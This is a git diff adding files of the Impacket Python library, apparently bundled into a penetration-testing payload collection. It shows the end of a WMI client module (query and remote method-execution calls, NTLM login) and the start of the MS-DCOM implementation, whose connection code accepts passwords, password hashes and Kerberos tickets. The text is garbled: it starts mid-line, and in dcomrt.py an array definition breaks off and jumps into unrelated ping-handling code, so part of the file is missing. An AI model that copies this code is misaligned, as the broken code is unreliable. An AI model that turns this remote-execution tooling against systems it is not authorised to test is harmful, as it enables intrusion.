CancelAsyncCall(self,IWbemObjectSink ): + request = IWbemServices_CancelAsyncCall() + request['IWbemObjectSink'] = IWbemObjectSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['ErrorCode'] + + def QueryObjectSink(self): + request = IWbemServices_QueryObjectSink() + request['lFlags'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return INTERFACE(self.get_cinstance(), ''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()) + + def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_GetObject() + request['strObjectPath']['asData'] = strObjectPath + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + ppObject = IWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self) + if resp['ppCallResult'] != NULL: + ppcallResult = IWbemCallResult( + INTERFACE(self.get_cinstance(), ''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + else: + ppcallResult = NULL + return ppObject, ppcallResult + + def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_GetObjectAsync() + request['strObjectPath']['asData'] = checkNullString(strNamespace) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClass(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClass() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClassAsync() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClass() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClassAsync() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnum() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutInstance(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstance() + + if pInst is NULL: + request['pInst'] = pInst + else: + request['pInst']['ulCntData'] = len(pInst) + request['pInst']['abData'] = list(str(pInst)) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstanceAsync() + request['pInst'] = pInst + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstance() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), ''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstanceAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnum() + request['strSuperClass']['asData'] = strSuperClass + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): + def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQuery() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()), self) + + def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): + request = IWbemServices_ExecNotificationQueryAsync() + request['strQueryLanguage']['asData'] = checkNullString('WQL') + request['strQuery']['asData'] = checkNullString(strQuery) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): + request = IWbemServices_ExecMethod() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + if pInParams is NULL: + request['pInParams'] = pInParams + else: + request['pInParams']['ulCntData'] = len(pInParams) + request['pInParams']['abData'] = list(str(pInParams)) + + request.fields['ppCallResult'] = NULL + if ppOutParams is NULL: + request.fields['ppOutParams'].fields['Data'] = NULL + else: + request['ppOutParams']['ulCntData'] = len(str(ppOutParams)) + request['ppOutParams']['abData'] = list(str(ppOutParams)) + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + + def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL): + request = IWbemServices_ExecMethodAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['strMethodName']['asData'] = checkNullString(strMethodName) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + request['pInParams'] = pInParams + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemLevel1Login(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLevel1Login + + def EstablishPosition(self): + request = IWbemLevel1Login_EstablishPosition() + request['reserved1'] = NULL + request['reserved2'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['LocaleVersion'] + + def RequestChallenge(self): + request = IWbemLevel1Login_RequestChallenge() + request['reserved1'] = NULL + request['reserved2'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved3'] + + def WBEMLogin(self): + request = IWbemLevel1Login_WBEMLogin() + request['reserved1'] = NULL + request['reserved2'] = NULL + request['reserved3'] = 0 + request['reserved4'] = NULL + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['reserved5'] + + def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx): + request = IWbemLevel1Login_NTLMLogin() + request['wszNetworkResource'] = checkNullString(wszNetworkResource) + request['wszPreferredLocale'] = checkNullString(wszPreferredLocale) + request['lFlags'] = 0 + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemServices( + INTERFACE(self.get_cinstance(), ''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + +if __name__ == '__main__': + # Example 1 + baseClass = 'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00' + + #encodingUnit = EncodingUnit(baseClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + #print "LEN ", len(baseClass), len(encodingUnit) + + myClass = "xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00" + #hexdump(myClass) + #encodingUnit = EncodingUnit(myClass) + #print "LEN ", len(myClass), len(encodingUnit) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + + instanceMyClass = "xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00" + #encodingUnit = EncodingUnit(instanceMyClass) + #encodingUnit.dump() + #encodingUnit['ObjectBlock'].printInformation() + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcomrt.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcomrt.py new file mode 100644 index 0000000..a740cbd --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcomrt.py @@ -0,0 +1,1902 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-DCOM] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# ToDo: +# [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine +# for each call, making it slower. +# +# [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if +# not used, returning RPC_E_DISCONNECTED +# + +import socket +from struct import pack +from threading import Timer, currentThread + +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ + UUID, WIDESTR, NULL +from impacket import hresult_errors, LOG +from impacket.uuid import string_to_bin, uuidtup_to_bin, generate +from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \ + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException +from impacket.dcerpc.v5 import transport + +CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046') +CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046') +CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046') +CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046') +CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046') +CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046') +CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046') +CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046') +CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046') +CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046') +CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046') +CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046') +CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046') +IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0')) +IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0')) +IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0')) +IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0')) +IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0')) +IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0')) +IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0')) +IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) +IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.1 OID +OID = ULONGLONG + +class OID_ARRAY(NDRUniConformantArray): + item = OID + +class POID_ARRAY(NDRPOINTER): + referent = ( + ('Data', OID_ARRAY), + ) + +# 2.2.2 SETID +SETID = ULONGLONG + +# 2.2.4 error_status_t +error_status_t = ULONG + +# 2.2.6 CID +CID = GUID + +# 2.2.7 CLSID +CLSID = GUID + +# 2.2.8 IID +IID = GUID +PIID = PGUID + +# 2.2.9 IPID +IPID = GUID + +# 2.2.10 OXID +OXID = ULONGLONG + +# 2.2.18 OBJREF +FLAGS_OBJREF_STANDARD = 0x00000001 +FLAGS_OBJREF_HANDLER = 0x00000002 +FLAGS_OBJREF_CUSTOM = 0x00000004 +FLAGS_OBJREF_EXTENDED = 0x00000008 + +# 2.2.18.1 STDOBJREF +SORF_NOPING = 0x00001000 + +# 2.2.20 Context +CTXMSHLFLAGS_BYVAL = 0x00000002 + +# 2.2.20.1 PROPMARSHALHEADER +CPFLAG_PROPAGATE = 0x00000001 +CPFLAG_EXPOSE = 0x00000002 +CPFLAG_ENVOY = 0x00000004 + +# 2.2.22.2.1 InstantiationInfoData +ACTVFLAGS_DISABLE_AAA = 0x00000002 +ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004 +ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008 +ACTVFLAGS_NO_FAILURE_LOG = 0x00000020 + +# 2.2.22.2.2 SpecialPropertiesData +SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001 + +# 2.2.28.1 IDL Range Constants +MAX_REQUESTED_INTERFACES = 0x8000 +MAX_REQUESTED_PROTSEQS = 0x8000 +MIN_ACTPROP_LIMIT = 1 +MAX_ACTPROP_LIMIT = 10 + +################################################################################ +# STRUCTURES +################################################################################ +class handle_t(NDRSTRUCT): + structure = ( + ('context_handle_attributes',ULONG), + ('context_handle_uuid',UUID), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + self['context_handle_uuid'] = '\x00'*20 + +# 2.2.11 COMVERSION +class COMVERSION(NDRSTRUCT): + structure = ( + ('MajorVersion',USHORT), + ('MinorVersion',USHORT), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['MajorVersion'] = 5 + self['MinorVersion'] = 7 + +class PCOMVERSION(NDRPOINTER): + referent = ( + ('Data', COMVERSION), + ) + +# 2.2.13.1 ORPC_EXTENT +# This MUST contain an array of bytes that form the extent data. +# The array size MUST be a multiple of 8 for alignment reasons. +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class ORPC_EXTENT(NDRSTRUCT): + structure = ( + ('id',GUID), + ('size',ULONG), + ('data',BYTE_ARRAY), + ) + +# 2.2.13.2 ORPC_EXTENT_ARRAY +# ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons. +class PORPC_EXTENT(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT), + ) + +class EXTENT_ARRAY(NDRUniConformantArray): + item = PORPC_EXTENT + +class PEXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', EXTENT_ARRAY), + ) + +class ORPC_EXTENT_ARRAY(NDRSTRUCT): + structure = ( + ('size',ULONG), + ('reserved',ULONG), + ('extent',PEXTENT_ARRAY), + ) + +class PORPC_EXTENT_ARRAY(NDRPOINTER): + referent = ( + ('Data', ORPC_EXTENT_ARRAY), + ) + +# 2.2.13.3 ORPCTHIS +class ORPCTHIS(NDRSTRUCT): + structure = ( + ('version',COMVERSION), + ('flags',ULONG), + ('reserved1',ULONG), + ('cid',CID), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.13.4 ORPCTHAT +class ORPCTHAT(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('extensions',PORPC_EXTENT_ARRAY), + ) + +# 2.2.14 MInterfacePointer +class MInterfacePointer(NDRSTRUCT): + structure = ( + ('ulCntData',ULONG), + ('abData',BYTE_ARRAY), + ) + +# 2.2.15 PMInterfacePointerInternal +class PMInterfacePointerInternal(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +# 2.2.16 PMInterfacePointer +class PMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', MInterfacePointer), + ) + +class PPMInterfacePointer(NDRPOINTER): + referent = ( + ('Data', PMInterfacePointer), + ) + +# 2.2.18 OBJREF +class OBJREF(NDRSTRUCT): + commonHdr = ( + ('signature',ULONG), + ('flags',ULONG), + ('iid',GUID), + ) + def __init__(self, data = None,isNDR64 = False): + NDRSTRUCT.__init__(self, data, isNDR64) + if data is None: + self['signature'] = 0x574F454D + +# 2.2.18.1 STDOBJREF +class STDOBJREF(NDRSTRUCT): + structure = ( + ('flags',ULONG), + ('cPublicRefs',ULONG), + ('oxid',OXID), + ('oid',OID), + ('ipid',IPID), + ) + +# 2.2.18.4 OBJREF_STANDARD +class OBJREF_STANDARD(OBJREF): + structure = ( + ('std',STDOBJREF), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_STANDARD + +# 2.2.18.5 OBJREF_HANDLER +class OBJREF_HANDLER(OBJREF): + structure = ( + ('std',STDOBJREF), + ('clsid',CLSID), + ('saResAddr',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_HANDLER + +# 2.2.18.6 OBJREF_CUSTOM +class OBJREF_CUSTOM(OBJREF): + structure = ( + ('clsid',CLSID), + ('cbExtension',ULONG), + ('ObjectReferenceSize',ULONG), + ('pObjectData',':'), + ) + def __init__(self, data = None,isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_CUSTOM + +# 2.2.18.8 DATAELEMENT +class DATAELEMENT(NDRSTRUCT): + structure = ( + ('dataID',GUID), + ('cbSize',ULONG), + ('cbRounded',ULONG), + ('Data',':'), + ) + +class DUALSTRINGARRAYPACKED(NDRSTRUCT): + structure = ( + ('wNumEntries',USHORT), + ('wSecurityOffset',USHORT), + ('aStringArray',':'), + ) + def getDataLen(self, data): + return self['wNumEntries']*2 + +# 2.2.18.7 OBJREF_EXTENDED +class OBJREF_EXTENDED(OBJREF): + structure = ( + ('std',STDOBJREF), + ('Signature1',ULONG), + ('saResAddr',DUALSTRINGARRAYPACKED), + ('nElms',ULONG), + ('Signature2',ULONG), + ('ElmArray',DATAELEMENT), + ) + def __init__(self, data = None, isNDR64 = False): + OBJREF.__init__(self, data, isNDR64) + if data is None: + self['flags'] = FLAGS_OBJREF_EXTENDED + self['Signature1'] = 0x4E535956 + self['Signature1'] = 0x4E535956 + self['nElms'] = 0x4E535956 + +# 2.2.19 DUALSTRINGARRAY +class USHORT_ARRAY(NDRUniConformantArray): + item = ' 0 or len(deletedOids) > 0: + if DCOMConnection.OID_SET[target].has_key('setid'): + setId = DCOMConnection.OID_SET[target]['setid'] + else: + setId = 0 + resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids) + DCOMConnection.OID_SET[target]['oids'] -= deletedOids + DCOMConnection.OID_SET[target]['oids'] |= addedOids + DCOMConnection.OID_SET[target]['setid'] = resp['pSetId'] + else: + objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid']) + except Exception, e: + # There might be exceptions when sending packets + # We should try to continue tho. + LOG.error(str(e)) + pass + + DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception, e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initTimer(self): + if self.__oxidResolver is True: + if DCOMConnection.PINGTIMER is None: + DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer) + try: + DCOMConnection.PINGTIMER.start() + except Exception, e: + if str(e).find('threads can only be started once') < 0: + raise e + + def initConnection(self): + stringBinding = r'ncacn_ip_tcp:%s' % self.__target + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, self.__TGT, self.__TGS) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__portmap = rpctransport.get_dce_rpc() + self.__portmap.set_auth_level(self.__authLevel) + if self.__doKerberos is True: + self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__portmap.connect() 